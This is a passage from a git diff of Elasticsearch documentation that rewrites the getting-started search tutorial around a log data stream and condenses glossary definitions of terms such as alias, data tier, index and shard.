Lane","employer":"Pyrami","email":"amberduke@pyrami.com","city":"Brogan","state":"IL"} - }, ... + "max_score": null, + "hits": [ + { + "_index": ".ds-logs-my_app-default-2099-05-06-000001", + "_id": "PdjWongB9KPnaVm2IyaL", + "_score": null, + "_source": { + "@timestamp": "2099-05-08T16:25:42.000Z", + "event": { + "original": "192.0.2.255 - - [08/May/2099:16:25:42 +0000] \"GET /favicon.ico HTTP/1.0\" 200 3638" + } + }, + "sort": [ + 4081940742000 + ] + }, + ... ] } } --------------------------------------------------- -// TESTRESPONSE[s/"took" : 63/"took" : $body.took/] -// TESTRESPONSE[s/\.\.\./$body.hits.hits.2, $body.hits.hits.3, $body.hits.hits.4, $body.hits.hits.5, $body.hits.hits.6, $body.hits.hits.7, $body.hits.hits.8, $body.hits.hits.9/] - -The response also provides the following information about the search request: +---- +// TESTRESPONSE[s/"took": 2/"took": $body.took/] +// TESTRESPONSE[s/"_index": ".ds-logs-my_app-default-2099-05-06-000001"/"_index": $body.hits.hits.0._index/] +// TESTRESPONSE[s/"_id": "PdjWongB9KPnaVm2IyaL"/"_id": $body.hits.hits.0._id/] +// TESTRESPONSE[s/\.\.\./$body.hits.hits.1,$body.hits.hits.2/] -* `took` – how long it took {es} to run the query, in milliseconds -* `timed_out` – whether or not the search request timed out -* `_shards` – how many shards were searched and a breakdown of how many shards -succeeded, failed, or were skipped. -* `max_score` – the score of the most relevant document found -* `hits.total.value` - how many matching documents were found -* `hits.sort` - the document's sort position (when not sorting by relevance score) -* `hits._score` - the document's relevance score (not applicable when using `match_all`) - -Each search request is self-contained: {es} does not maintain any -state information across requests. To page through the search hits, specify -the `from` and `size` parameters in your request. +[discrete] +[[get-specific-fields]] +==== Get specific fields -For example, the following request gets hits 10 through 19: +Parsing the entire `_source` is unwieldy for large documents. To exclude it from +the response, set the `_source` parameter to `false`. Instead, use the `fields` +parameter to retrieve the fields you want. [source,console] --------------------------------------------------- -GET /bank/_search +---- +GET logs-my_app-default/_search { - "query": { "match_all": {} }, - "sort": [ - { "account_number": "asc" } + "query": { + "match_all": { } + }, + "fields": [ + "@timestamp" ], - "from": 10, - "size": 10 + "_source": false, + "sort": [ + { + "@timestamp": "desc" + } + ] } --------------------------------------------------- +---- // TEST[continued] +// TEST[s/_search/_search?filter_path=hits.hits&size=1/] + +The response contains each hit's `fields` values as a flat array. -Now that you've seen how to submit a basic search request, you can start to -construct queries that are a bit more interesting than `match_all`. +[source,console-result] +---- +{ + ... + "hits": { + ... + "hits": [ + { + "_index": ".ds-logs-my_app-default-2099-05-06-000001", + "_id": "PdjWongB9KPnaVm2IyaL", + "_score": null, + "fields": { + "@timestamp": [ + "2099-05-08T16:25:42.000Z" + ] + }, + "sort": [ + 4081940742000 + ] + }, + ... + ] + } +} +---- +// TESTRESPONSE[s/\.\.\.//] +// TESTRESPONSE[s/"_index": ".ds-logs-my_app-default-2099-05-06-000001"/"_index": $body.hits.hits.0._index/] +// TESTRESPONSE[s/"_id": "PdjWongB9KPnaVm2IyaL"/"_id": $body.hits.hits.0._id/] +// TESTRESPONSE[s/4081940742000\n \]\n \},\n/4081940742000\]}/] + +[discrete] +[[search-date-range]] +==== Search a date range -To search for specific terms within a field, you can use a `match` query. -For example, the following request searches the `address` field to find -customers whose addresses contain `mill` or `lane`: +To search across a specific time or IP range, use a `range` query. [source,console] --------------------------------------------------- -GET /bank/_search +---- +GET logs-my_app-default/_search { - "query": { "match": { "address": "mill lane" } } + "query": { + "range": { + "@timestamp": { + "gte": "2099-05-05", + "lt": "2099-05-08" + } + } + }, + "fields": [ + "@timestamp" + ], + "_source": false, + "sort": [ + { + "@timestamp": "desc" + } + ] } --------------------------------------------------- +---- // TEST[continued] -To perform a phrase search rather than matching individual terms, you use -`match_phrase` instead of `match`. For example, the following request only -matches addresses that contain the phrase `mill lane`: +You can use date math to define relative time ranges. The following query +searches for data from the past day, which won't match any log entries in +`logs-my_app-default`. [source,console] --------------------------------------------------- -GET /bank/_search +---- +GET logs-my_app-default/_search { - "query": { "match_phrase": { "address": "mill lane" } } + "query": { + "range": { + "@timestamp": { + "gte": "now-1d/d", + "lt": "now/d" + } + } + }, + "fields": [ + "@timestamp" + ], + "_source": false, + "sort": [ + { + "@timestamp": "desc" + } + ] } --------------------------------------------------- +---- // TEST[continued] -To construct more complex queries, you can use a `bool` query to combine -multiple query criteria. You can designate criteria as required (must match), -desirable (should match), or undesirable (must not match). +[discrete] +[[extract-fields]] +==== Extract fields from unstructured content + +You can extract <> from unstructured +content, such as log messages, during a search. -For example, the following request searches the `bank` index for accounts that -belong to customers who are 40 years old, but excludes anyone who lives in -Idaho (ID): +Use the following search to extract the `source.ip` runtime field from +`event.original`. To include it in the response, add `source.ip` to the `fields` +parameter. [source,console] --------------------------------------------------- -GET /bank/_search +---- +GET logs-my_app-default/_search { + "runtime_mappings": { + "source.ip": { + "type": "ip", + "script": """ + String sourceip=grok('%{IPORHOST:sourceip} .*').extract(doc[ "event.original" ].value)?.sourceip; + if (sourceip != null) emit(sourceip); + """ + } + }, "query": { - "bool": { - "must": [ - { "match": { "age": "40" } } - ], - "must_not": [ - { "match": { "state": "ID" } } - ] + "range": { + "@timestamp": { + "gte": "2099-05-05", + "lt": "2099-05-08" + } } - } + }, + "fields": [ + "@timestamp", + "source.ip" + ], + "_source": false, + "sort": [ + { + "@timestamp": "desc" + } + ] } --------------------------------------------------- +---- // TEST[continued] -Each `must`, `should`, and `must_not` element in a Boolean query is referred -to as a query clause. How well a document meets the criteria in each `must` or -`should` clause contributes to the document's _relevance score_. The higher the -score, the better the document matches your search criteria. By default, {es} -returns documents ranked by these relevance scores. - -The criteria in a `must_not` clause is treated as a _filter_. It affects whether -or not the document is included in the results, but does not contribute to -how documents are scored. You can also explicitly specify arbitrary filters to -include or exclude documents based on structured data. +[discrete] +[[combine-queries]] +==== Combine queries -For example, the following request uses a range filter to limit the results to -accounts with a balance between $20,000 and $30,000 (inclusive). +You can use the `bool` query to combine multiple queries. The following search +combines two `range` queries: one on `@timestamp` and one on the `source.ip` +runtime field. [source,console] --------------------------------------------------- -GET /bank/_search +---- +GET logs-my_app-default/_search { + "runtime_mappings": { + "source.ip": { + "type": "ip", + "script": """ + String sourceip=grok('%{IPORHOST:sourceip} .*').extract(doc[ "event.original" ].value)?.sourceip; + if (sourceip != null) emit(sourceip); + """ + } + }, "query": { "bool": { - "must": { "match_all": {} }, - "filter": { - "range": { - "balance": { - "gte": 20000, - "lte": 30000 + "filter": [ + { + "range": { + "@timestamp": { + "gte": "2099-05-05", + "lt": "2099-05-08" + } + } + }, + { + "range": { + "source.ip": { + "gte": "192.0.2.0", + "lte": "192.0.2.240" + } } } - } + ] } - } + }, + "fields": [ + "@timestamp", + "source.ip" + ], + "_source": false, + "sort": [ + { + "@timestamp": "desc" + } + ] } --------------------------------------------------- +---- // TEST[continued] -[[getting-started-aggregations]] -== Analyze results with aggregations +[discrete] +[[aggregate-data]] +==== Aggregate data -{es} aggregations enable you to get meta-information about your search results -and answer questions like, "How many account holders are in Texas?" or -"What's the average balance of accounts in Tennessee?" You can search -documents, filter hits, and use aggregations to analyze the results all in one -request. +Use aggregations to summarize data as metrics, statistics, or other analytics. -For example, the following request uses a `terms` aggregation to group -all of the accounts in the `bank` index by state, and returns the ten states -with the most accounts in descending order: +The following search uses an aggregation to calculate the +`average_response_size` using the `http.response.body.bytes` runtime field. The +aggregation only runs on documents that match the `query`. [source,console] --------------------------------------------------- -GET /bank/_search +---- +GET logs-my_app-default/_search { - "size": 0, + "runtime_mappings": { + "http.response.body.bytes": { + "type": "long", + "script": """ + String bytes=grok('%{COMMONAPACHELOG}').extract(doc[ "event.original" ].value)?.bytes; + if (bytes != null) emit(Integer.parseInt(bytes)); + """ + } + }, "aggs": { - "group_by_state": { - "terms": { - "field": "state.keyword" + "average_response_size":{ + "avg": { + "field": "http.response.body.bytes" } } - } + }, + "query": { + "bool": { + "filter": [ + { + "range": { + "@timestamp": { + "gte": "2099-05-05", + "lt": "2099-05-08" + } + } + } + ] + } + }, + "fields": [ + "@timestamp", + "http.response.body.bytes" + ], + "_source": false, + "sort": [ + { + "@timestamp": "desc" + } + ] } --------------------------------------------------- +---- // TEST[continued] -The `buckets` in the response are the values of the `state` field. The -`doc_count` shows the number of accounts in each state. For example, you -can see that there are 27 accounts in `ID` (Idaho). Because the request -set `size=0`, the response only contains the aggregation results. +The response’s `aggregations` object contains aggregation results. [source,console-result] --------------------------------------------------- +---- { - "took": 29, - "timed_out": false, - "_shards": { - "total": 5, - "successful": 5, - "skipped" : 0, - "failed": 0 - }, - "hits" : { - "total" : { - "value": 1000, - "relation": "eq" - }, - "max_score" : null, - "hits" : [ ] - }, + ... "aggregations" : { - "group_by_state" : { - "doc_count_error_upper_bound": 20, - "sum_other_doc_count": 770, - "buckets" : [ { - "key" : "ID", - "doc_count" : 27 - }, { - "key" : "TX", - "doc_count" : 27 - }, { - "key" : "AL", - "doc_count" : 25 - }, { - "key" : "MD", - "doc_count" : 25 - }, { - "key" : "TN", - "doc_count" : 23 - }, { - "key" : "MA", - "doc_count" : 21 - }, { - "key" : "NC", - "doc_count" : 21 - }, { - "key" : "ND", - "doc_count" : 21 - }, { - "key" : "ME", - "doc_count" : 20 - }, { - "key" : "MO", - "doc_count" : 20 - } ] + "average_response_size" : { + "value" : 12368.0 } } } --------------------------------------------------- -// TESTRESPONSE[s/"took": 29/"took": $body.took/] +---- +// TESTRESPONSE[s/\.\.\./"took": "$body.took", "timed_out": false, "_shards": "$body._shards", "hits": "$body.hits",/] +[discrete] +[[explore-more-search-options]] +==== Explore more search options -You can combine aggregations to build more complex summaries of your data. For -example, the following request nests an `avg` aggregation within the previous -`group_by_state` aggregation to calculate the average account balances for -each state. +To keep exploring, index more data to your data stream and check out <>. -[source,console] --------------------------------------------------- -GET /bank/_search -{ - "size": 0, - "aggs": { - "group_by_state": { - "terms": { - "field": "state.keyword" - }, - "aggs": { - "average_balance": { - "avg": { - "field": "balance" - } - } - } - } - } -} --------------------------------------------------- -// TEST[continued] +[discrete] +[[clean-up]] +=== Step 5. Clean up -Instead of sorting the results by count, you could sort using the result of -the nested aggregation by specifying the order within the `terms` aggregation: +When you're done, delete your test data stream and its backing indices. [source,console] --------------------------------------------------- -GET /bank/_search -{ - "size": 0, - "aggs": { - "group_by_state": { - "terms": { - "field": "state.keyword", - "order": { - "average_balance": "desc" - } - }, - "aggs": { - "average_balance": { - "avg": { - "field": "balance" - } - } - } - } - } -} --------------------------------------------------- +---- +DELETE _data_stream/logs-my_app-default +---- // TEST[continued] -In addition to basic bucketing and metrics aggregations like these, {es} -provides specialized aggregations for operating on multiple fields and -analyzing particular types of data such as dates, IP addresses, and geo -data. You can also feed the results of individual aggregations into pipeline -aggregations for further analysis. +You can also delete your test deployment. -The core analysis capabilities provided by aggregations enable advanced -features such as using machine learning to detect anomalies. +include::{es-repo-dir}/tab-widgets/quick-start-cleanup-widget.asciidoc[] -[[getting-started-next-steps]] -== Where to go from here - -Now that you've set up a cluster, indexed some documents, and run some -searches and aggregations, you might want to: +[discrete] +[[whats-next]] +=== What's next? -* {stack-gs}/get-started-elastic-stack.html#install-kibana[Dive in to the Elastic -Stack Tutorial] to install Kibana, Logstash, and Beats and -set up a basic system monitoring solution. +* Get the most out of your time series data by setting up data tiers and +{ilm-init}. See <>. -* {kibana-ref}/add-sample-data.html[Load one of the sample data sets into Kibana] -to see how you can use {es} and Kibana together to visualize your data. +* Use {fleet} and {agent} to collect logs and metrics directly from your data +sources and send them to {es}. See the +{fleet-guide}/fleet-quick-start.html[{fleet} quick start guide]. -* Try out one of the Elastic search solutions: -** https://swiftype.com/documentation/site-search/crawler-quick-start[Site Search] -** https://swiftype.com/documentation/app-search/getting-started[App Search] -** https://swiftype.com/documentation/enterprise-search/getting-started[Enterprise Search] +* Use {kib} to explore, visualize, and manage your {es} data. See the +{kibana-ref}/get-started.html[{kib} quick start guide]. diff --git a/docs/reference/glossary.asciidoc b/docs/reference/glossary.asciidoc index 50d4bdf70461e..0fe939cd32c87 100644 --- a/docs/reference/glossary.asciidoc +++ b/docs/reference/glossary.asciidoc @@ -1,670 +1,501 @@ +//// +============ +IMPORTANT +Add new terms to the Stack Docs glossary: +https://github.com/elastic/stack-docs/tree/master/docs/en/glossary +============ +//// + [glossary] [[glossary]] -= Glossary of terms += Glossary [glossary] -[[glossary-analysis]] analysis :: -+ --- +[[glossary-alias]] alias:: +// tag::alias-def[] +An alias is a secondary name for a group of <> or <>. Most {es} APIs accept an alias in place +of a data stream or index name. See {ref}/alias.html[Aliases]. +// end::alias-def[] + +[[glossary-analysis]] analysis:: // tag::analysis-def[] -Analysis is the process of converting <> to -<>. Depending on which analyzer is used, these phrases: -`FOO BAR`, `Foo-Bar`, `foo,bar` will probably all result in the -terms `foo` and `bar`. These terms are what is actually stored in -the index. - -A full text query (not a <> query) for `FoO:bAR` will -also be analyzed to the terms `foo`,`bar` and will thus match the -terms stored in the index. - -It is this process of analysis (both at index time and at search time) -that allows Elasticsearch to perform full text queries. - -Also see <> and <>. +Process of converting unstructured <> into a format +optimized for search. See {ref}/analysis.html[Text analysis]. // end::analysis-def[] --- -[[glossary-api-key]] API key :: +[[glossary-api-key]] API key:: // tag::api-key-def[] -A unique identifier that you can use for authentication when submitting {es} requests. -When TLS is enabled, all requests must be authenticated using either basic authentication -(user name and password) or an API key. +Unique identifier for authentication in {es}. When +{ref}/encrypting-communications.html[transport layer security (TLS)] is enabled, +all requests must be authenticated using an API key or a username and password. +See the {ref}/security-api-create-api-key.html[Create API key API]. // end::api-key-def[] - -[[glossary-auto-follow-pattern]] auto-follow pattern :: +[[glossary-auto-follow-pattern]] auto-follow pattern:: // tag::auto-follow-pattern-def[] -An <> that automatically configures new indices as -<> for <>. -For more information, see {ref}/ccr-auto-follow.html[Managing auto follow patterns]. +<> that automatically configures new +<> as <> for +<>. See {ref}/ccr-auto-follow.html[Manage auto-follow +patterns]. // end::auto-follow-pattern-def[] -[[glossary-cluster]] cluster :: +[[glossary-cluster]] cluster:: // tag::cluster-def[] -One or more <> that share the -same cluster name. Each cluster has a single master node, which is -chosen automatically by the cluster and can be replaced if it fails. +A group of one or more connected {es} <>. See +{ref}/scalability.html[Clusters, nodes, and shards]. // end::cluster-def[] -[[glossary-cold-phase]] cold phase :: +[[glossary-cold-phase]] cold phase:: // tag::cold-phase-def[] -The third possible phase in the <>. -In the cold phase, an index is no longer updated and seldom queried. -The information still needs to be searchable, but it’s okay if those queries are slower. +Third possible phase in the <>. In the +cold phase, data is no longer updated and seldom <>. The +data still needs to be searchable, but it’s okay if those queries are slower. +See {ref}/ilm-index-lifecycle.html[Index lifecycle]. // end::cold-phase-def[] [[glossary-cold-tier]] cold tier:: // tag::cold-tier-def[] -A <> that contains nodes that hold time series data -that is accessed occasionally and not normally updated. +<> that contains <> that hold +time series data that is accessed occasionally and not normally updated. See +{ref}/data-tiers.html[Data tiers]. // end::cold-tier-def[] -[[glossary-component-template]] component template :: +[[glossary-component-template]] component template:: // tag::component-template-def[] -A building block for constructing <> that specifies index -<>, <>, and <>. +Building block for creating <>. A +component template can specify <>, +{ref}/index-modules.html[index settings], and <>. See +{ref}/index-templates.html[index templates]. // end::component-template-def[] [[glossary-content-tier]] content tier:: // tag::content-tier-def[] -A <> that contains nodes that handle the indexing and query load for -content such as a product catalog. +<> that contains <> that +handle the <> and <> load for +content, such as a product catalog. See {ref}/data-tiers.html[Data tiers]. // end::content-tier-def[] -[[glossary-ccr]] {ccr} (CCR):: +[[glossary-ccr]] {ccr} ({ccr-init}):: // tag::ccr-def[] -A feature that enables you to replicate indices in remote clusters to your -local cluster. For more information, see -{ref}/xpack-ccr.html[{ccr-cap}]. +Replicates <> and <> +from <> in a +<>. See {ref}/xpack-ccr.html[{ccr-cap}]. // end::ccr-def[] [[glossary-ccs]] {ccs} (CCS):: // tag::ccs-def[] -A feature that enables any node to act as a federated client across -multiple clusters. -See {ref}/modules-cross-cluster-search.html[Search across clusters]. +Searches <> and <> on +<> from a +<>. See +{ref}/modules-cross-cluster-search.html[Search across clusters]. // end::ccs-def[] -[[glossary-data-stream]] data stream :: -+ --- +[[glossary-data-stream]] data stream:: // tag::data-stream-def[] -A named resource used to ingest, search, and manage time series data in {es}. A -data stream's data is stored across multiple hidden, auto-generated -<>. You can automate management of these indices to more -efficiently store large data volumes. - -See {ref}/data-streams.html[Data streams]. +Named resource used to manage time series data. A data stream stores data across +multiple backing <>. See {ref}/data-streams.html[Data +streams]. // end::data-stream-def[] --- [[glossary-data-tier]] data tier:: // tag::data-tier-def[] -A collection of nodes with the same data role that typically share the same hardware profile. -See <>, <>, <>, -<>. +Collection of <> with the same {ref}/modules-node.html[data +role] that typically share the same hardware profile. Data tiers include the +<>, <>, +<>, <>, and +<>. See {ref}/data-tiers.html[Data tiers]. // end::data-tier-def[] -[[glossary-delete-phase]] delete phase :: +[[glossary-delete-phase]] delete phase:: // tag::delete-phase-def[] -The last possible phase in the <>. -In the delete phase, an index is no longer needed and can safely be deleted. +Last possible phase in the <>. In the +delete phase, an <> is no longer needed and can safely be +deleted. See {ref}/ilm-index-lifecycle.html[Index lifecycle]. // end::delete-phase-def[] -[[glossary-document]] document :: -+ --- +[[glossary-document]] document:: // tag::document-def[] -A document is a JSON document which is stored in Elasticsearch. It is -like a row in a table in a relational database. Each document is -stored in an <> and has a <> -and an <>. - -A document is a JSON object (also known in other languages as a hash / -hashmap / associative array) which contains zero or more -<>, or key-value pairs. - -The original JSON document that is indexed will be stored in the -<>, which is returned by default when -getting or searching for a document. +JSON object containing data stored in {es}. See +{ref}/documents-indices.html[Documents and indices]. // end::document-def[] --- [[glossary-eql]] -Event Query Language (EQL) :: +Event Query Language (EQL):: // tag::eql-def[] -A query language for event-based time series data, such as logs, metrics, and -traces. EQL supports matching for event sequences. In the {security-app}, you -use EQL to write event correlation rules. See {ref}/eql.html[EQL]. +<> language for event-based time series data, such as +logs, metrics, and traces. EQL supports matching for event sequences. See +{ref}/eql.html[EQL]. // end::eql-def[] -[[glossary-field]] field :: -+ --- +[[glossary-field]] field:: // tag::field-def[] -A <> contains a list of fields, or key-value -pairs. The value can be a simple (scalar) value (eg a string, integer, -date), or a nested structure like an array or an object. A field is -similar to a column in a table in a relational database. - -The <> for each field has a field _type_ (not to -be confused with document <>) which indicates the type -of data that can be stored in that field, eg `integer`, `string`, -`object`. The mapping also allows you to define (amongst other things) -how the value for a field should be analyzed. +Key-value pair in a <>. See +{ref}/mapping.html[Mapping]. // end::field-def[] --- -[[glossary-filter]] filter :: +[[glossary-filter]] filter:: // tag::filter-def[] -A filter is a non-scoring <>, -meaning that it does not score documents. -It is only concerned about answering the question - "Does this document match?". -The answer is always a simple, binary yes or no. This kind of query is said to be made -in a {ref}/query-filter-context.html[filter context], -hence it is called a filter. Filters are simple checks for set inclusion or exclusion. -In most cases, the goal of filtering is to reduce the number of documents that have to be examined. +<> that does not score matching documents. See +{ref}/query-filter-context.html[filter context]. // end::filter-def[] -[[glossary-flush]] flush :: +[[glossary-flush]] flush:: // tag::flush-def[] -Peform a Lucene commit to write index updates in the transaction log (translog) to disk. -Because a Lucene commit is a relatively expensive operation, -{es} records index and delete operations in the translog and -automatically flushes changes to disk in batches. -To recover from a crash, operations that have been acknowledged but not yet committed -can be replayed from the translog. -Before upgrading, you can explicitly call the {ref}/indices-flush.html[Flush] API -to ensure that all changes are committed to disk. +Writes data from the {ref}/index-modules-translog.html[transaction log] to disk +for permanent storage. See the {ref}/indices-flush.html[flush API]. // end::flush-def[] -[[glossary-follower-index]] follower index :: +[[glossary-follower-index]] follower index:: // tag::follower-index-def[] -The target index for <>. A follower index exists -in a local cluster and replicates a <>. +Target <> for <>. A follower index +exists in a <> and replicates a +<>. See {ref}/xpack-ccr.html[{ccr-cap}]. // end::follower-index-def[] -[[glossary-force-merge]] force merge :: +[[glossary-force-merge]] force merge:: // tag::force-merge-def[] // tag::force-merge-def-short[] -Manually trigger a merge to reduce the number of segments in each shard of an index -and free up the space used by deleted documents. +Manually triggers a <> to reduce the number of +<> in an index's <>. // end::force-merge-def-short[] -You should not force merge indices that are actively being written to. -Merging is normally performed automatically, but you can use force merge after -<> to reduce the shards in the old index to a single segment. See the {ref}/indices-forcemerge.html[force merge API]. // end::force-merge-def[] -[[glossary-freeze]] freeze :: -// tag::freeze-def[] -// tag::freeze-def-short[] -Make an index read-only and minimize its memory footprint. -// end::freeze-def-short[] -Frozen indices can be searched without incurring the overhead of re-opening a closed index, -but searches are throttled and might be slower. -You can freeze indices to reduce the overhead of keeping older indices searchable -before you are ready to archive or delete them. -See the {ref}/freeze-index-api.html[freeze API]. -// end::freeze-def[] - -[[glossary-frozen-index]] frozen index :: -// tag::frozen-index-def[] -An index reduced to a low overhead state that still enables occasional searches. -Frozen indices use a memory-efficient shard implementation and throttle searches to conserve resources. -Searching a frozen index is lower overhead than re-opening a closed index to enable searching. -// end::frozen-index-def[] - -[[glossary-frozen-phase]] frozen phase :: +[[glossary-frozen-phase]] frozen phase:: // tag::frozen-phase-def[] -The fourth possible phase in the <>. -In the frozen phase, an index is no longer updated and queried rarely. -The information still needs to be searchable, but it’s okay if those queries are extremely slow. +Fourth possible phase in the <>. In +the frozen phase, an <> is no longer updated and +<> rarely. The information still needs to be searchable, +but it’s okay if those queries are extremely slow. See +{ref}/ilm-index-lifecycle.html[Index lifecycle]. // end::frozen-phase-def[] [[glossary-frozen-tier]] frozen tier:: // tag::frozen-tier-def[] -A <> that contains nodes that hold time series data -that is accessed rarely and not normally updated. +<> that contains <> that +hold time series data that is accessed rarely and not normally updated. See +{ref}/data-tiers.html[Data tiers]. // end::frozen-tier-def[] -[[glossary-hidden-index]] hidden index :: +[[glossary-hidden-index]] hidden data stream or index:: // tag::hidden-index-def[] -An index that is excluded by default when you access indices using a wildcard expression. -You can specify the `expand_wildcards` parameter to include hidden indices. -Note that hidden indices _are_ included if the wildcard expression starts with a dot, for example `.watcher-history*`. +<> or <> excluded from +most <> by default. See +{ref}/multi-index.html#hidden[Hidden data streams and indices]. // end::hidden-index-def[] -[[glossary-hot-phase]] hot phase :: +[[glossary-hot-phase]] hot phase:: // tag::hot-phase-def[] -The first possible phase in the <>. -In the hot phase, an index is actively updated and queried. +First possible phase in the <>. In +the hot phase, an <> is actively updated and queried. See +{ref}/ilm-index-lifecycle.html[Index lifecycle]. // end::hot-phase-def[] [[glossary-hot-tier]] hot tier:: // tag::hot-tier-def[] -A <> that contains nodes that handle the indexing load -for time series data such as logs or metrics and hold your most recent, -most-frequently-accessed data. +<> that contains <> that +handle the <> load for time series data, such as logs or +metrics. This tier holds your most recent, most frequently accessed data. See +{ref}/data-tiers.html[Data tiers]. // end::hot-tier-def[] -[[glossary-id]] id :: +[[glossary-id]] ID:: // tag::id-def[] -The ID of a <> identifies a document. The -`index/id` of a document must be unique. If no ID is provided, -then it will be auto-generated. (also see <>) +Identifier for a <>. Document IDs must be unique +within an <>. See the {ref}/mapping-id-field.html[`_id` +field]. // end::id-def[] -[[glossary-index]] index :: -+ --- +[[glossary-index]] index:: // tag::index-def[] -// tag::index-def-short[] -An optimized collection of JSON documents. Each document is a collection of fields, -the key-value pairs that contain your data. -// end::index-def-short[] - -An index is a logical namespace that maps to one or more -<> and can have zero or more -<>. -// end::index-def[] --- - -[[glossary-index-alias]] index alias :: -+ --- -// tag::index-alias-def[] -// tag::index-alias-desc[] -An index alias is a logical name used to reference one or more indices. +. Collection of JSON <>. See +{ref}/documents-indices.html[Documents and indices]. -Most {es} APIs accept an index alias in place of an index name. -// end::index-alias-desc[] - -See {ref}/indices-add-alias.html[Add index alias]. -// end::index-alias-def[] --- +. To add one or more JSON documents to {es}. This process is called indexing. +// end::index-def[] -[[glossary-index-lifecycle]] index lifecycle :: +[[glossary-index-lifecycle]] index lifecycle:: // tag::index-lifecycle-def[] -The four phases an index can transition through: +Five phases an <> can transition through: <>, <>, -<>, and <>. -For more information, see {ref}/ilm-policy-definition.html[Index lifecycle]. +<>, <>, +and <>. See {ref}/ilm-policy-definition.html[Index +lifecycle]. // end::index-lifecycle-def[] -[[glossary-index-lifecycle-policy]] index lifecycle policy :: +[[glossary-index-lifecycle-policy]] index lifecycle policy:: // tag::index-lifecycle-policy-def[] -Specifies how an index moves between phases in the index lifecycle and -what actions to perform during each phase. +Specifies how an <> moves between phases in the +<> and what actions to perform during +each phase. See {ref}/ilm-policy-definition.html[Index lifecycle]. // end::index-lifecycle-policy-def[] -[[glossary-index-pattern]] index pattern :: +[[glossary-index-pattern]] index pattern:: // tag::index-pattern-def[] -A string that can contain the `*` wildcard to match multiple index names. -In most cases, the index parameter in an {es} request can be the name of a specific index, -a list of index names, or an index pattern. -For example, if you have the indices `datastream-000001`, `datastream-000002`, and `datastream-000003`, -to search across all three you could use the `datastream-*` index pattern. +String containing a wildcard (`*`) pattern that can match multiple +<>, <>, or +<>. See {ref}/multi-index.html[Multi-target syntax]. // end::index-pattern-def[] -[[glossary-index-template]] index template :: -+ --- +[[glossary-index-template]] index template:: // tag::index-template-def[] -// tag::index-template-def-short[] -Defines settings and mappings to apply to new indexes that match a simple naming pattern, such as _logs-*_. -// end::index-template-def-short[] - -An index template can also attach a lifecycle policy to the new index. -Index templates are used to automatically configure indices created during <>. +Automatically configures the <>, +{ref}/index-modules.html[index settings], and <> +of new <> that match its <>. You can also use index templates to create +<>. See {ref}/index-templates.html[Index +templates]. // end::index-template-def[] --- -[[glossary-leader-index]] leader index :: +[[glossary-leader-index]] leader index:: // tag::leader-index-def[] -The source index for <>. A leader index exists -on a remote cluster and is replicated to -<>. +Source <> for <>. A leader index +exists on a <> and is replicated to +<>. See +{ref}/xpack-ccr.html[{ccr-cap}]. // end::leader-index-def[] -[[glossary-local-cluster]] local cluster :: +[[glossary-local-cluster]] local cluster:: // tag::local-cluster-def[] -The cluster that pulls data from a <> in {ccs} or {ccr}. +<> that pulls data from a +<> in <> or +<>. See {ref}/modules-remote-clusters.html[Remote clusters]. // end::local-cluster-def[] -[[glossary-mapping]] mapping :: -+ --- +[[glossary-mapping]] mapping:: // tag::mapping-def[] -A mapping is like a _schema definition_ in a relational database. Each -<> has a mapping, -which defines a <>, -plus a number of index-wide settings. - -A mapping can either be defined explicitly, or it will be generated -automatically when a document is indexed. +Defines how a <>, its <>, and +its metadata are stored in {es}. Similar to a schema definition. See +{ref}/mapping.html[Mapping]. // end::mapping-def[] --- -[[glossary-node]] node :: +[[glossary-merge]] merge:: +// tag::merge-def[] +Process of combining a <>'s smaller Lucene +<> into a larger one. {es} manages merges +automatically. +// end::merge-def[] + +[[glossary-node]] node:: // tag::node-def[] -A running instance of {es} that belongs to a -<>. Multiple nodes can be started on a single -server for testing purposes, but usually you should have one node per -server. +A single {es} server. One or more nodes can form a <>. +See {ref}/scalability.html[Clusters, nodes, and shards]. // end::node-def[] -[[glossary-primary-shard]] primary shard :: -+ --- +[[glossary-primary-shard]] primary shard:: // tag::primary-shard-def[] -Each document is stored in a single primary <>. When -you index a document, it is indexed first on the primary shard, then -on all <> of the primary shard. - -By default, an <> has one primary shard. You can specify -more primary shards to scale the number of <> -that your index can handle. - -You cannot change the number of primary shards in an index, once the index is -created. However, an index can be split into a new index using the -{ref}/indices-split-index.html[split index API]. - -See also <>. +Lucene instance containing some or all data for an <>. +When you index a <>, {es} adds the document to +primary shards before <>. See +{ref}/scalability.html[Clusters, nodes, and shards]. // end::primary-shard-def[] --- -[[glossary-query]] query :: -+ --- +[[glossary-query]] query:: // tag::query-def[] -A request for information from {es}. You can think of a query as a question, -written in a way {es} understands. A search consists of one or more queries -combined. - -There are two types of queries: _scoring queries_ and _filters_. For more -information about query types, -see {ref}/query-filter-context.html[Query and filter context]. +Request for information about your data. You can think of a query as a +question, written in a way {es} understands. See +{ref}/search-your-data.html[Search your data]. // end::query-def[] --- -[[glossary-recovery]] recovery :: -+ --- +[[glossary-recovery]] recovery:: // tag::recovery-def[] -Shard recovery is the process -of syncing a <> -from a <>. -Upon completion, -the replica shard is available for search. - -// tag::recovery-triggers[] -Recovery automatically occurs -during the following processes: - -* Node startup or failure. - This type of recovery is called a *local store recovery*. -* <>. -* Relocation of a shard to a different node in the same cluster. -* {ref}/snapshots-restore-snapshot.html[Snapshot restoration]. -// end::recovery-triggers[] +Process of syncing a <> from a +<>. Upon completion, the replica shard is +available for searches. See the {ref}/indices-recovery.html[index recovery API]. // end::recovery-def[] --- -[[glossary-reindex]] reindex :: -+ --- +[[glossary-reindex]] reindex:: // tag::reindex-def[] -Copies documents from a _source_ to a _destination_. The source and -destination can be any pre-existing index, index alias, or -{ref}/data-streams.html[data stream]. - -You can reindex all documents from a source or select a subset of documents to -copy. You can also reindex to a destination in a remote cluster. - -A reindex is often performed to update mappings, change static index settings, -or upgrade {es} between incompatible versions. +Copies documents from a source to a destination. The source and destination can +be a <>, <>, or +<>. See the {ref}/docs-reindex.html[Reindex API]. // end::reindex-def[] --- - -[[glossary-remote-cluster]] remote cluster :: +[[glossary-remote-cluster]] remote cluster:: // tag::remote-cluster-def[] -A separate cluster, often in a different data center or locale, that contains indices that -can be replicated or searched by the <>. -The connection to a remote cluster is unidirectional. +A separate <>, often in a different data center or +locale, that contains <> that can be replicated or +searched by the <>. The connection to a +remote cluster is unidirectional. See {ref}/modules-remote-clusters.html[Remote +clusters]. // end::remote-cluster-def[] -[[glossary-replica-shard]] replica shard :: -+ --- +[[glossary-replica-shard]] replica shard:: // tag::replica-shard-def[] -Each <> can have zero or more -replicas. A replica is a copy of the primary shard, and has two -purposes: - -1. Increase failover: a replica shard can be promoted to a primary -shard if the primary fails -2. Increase performance: get and search requests can be handled by -primary or replica shards. - -By default, each 